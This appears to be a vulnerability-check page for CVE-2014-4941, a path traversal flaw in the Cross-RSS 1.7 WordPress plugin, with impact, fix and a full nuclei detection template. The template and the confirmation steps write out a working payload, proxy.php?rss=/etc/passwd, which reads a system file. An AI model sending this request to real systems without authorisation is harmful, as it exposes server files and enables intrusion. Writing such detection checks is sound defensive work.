Cross RSS 1.7 - Local File Inclusion

mediumseverity

5CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.

Impact

Attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to the latest version of the plugin that addresses this vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/cross-rss/") and status_code == 200
Send: GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-4941 -u <target>

The full check

id: CVE-2014-4941

info:
  name: Cross RSS 1.7 - Local File Inclusion
  author: DhiyaneshDK
  severity: medium
  description: |
    Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://wordpress.org/plugins/cross-rss/
    - https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4941
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4941
    cwe-id: CWE-22
    epss-score: 0.04306
    epss-percentile: 0.91229
    cpe: cpe:2.3:a:cross-rss_plugin_project:wp-cross-rss:1.7:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cross-rss_plugin_project
    product: wp-cross-rss
    framework: wordpress
  tags: cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/cross-rss/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from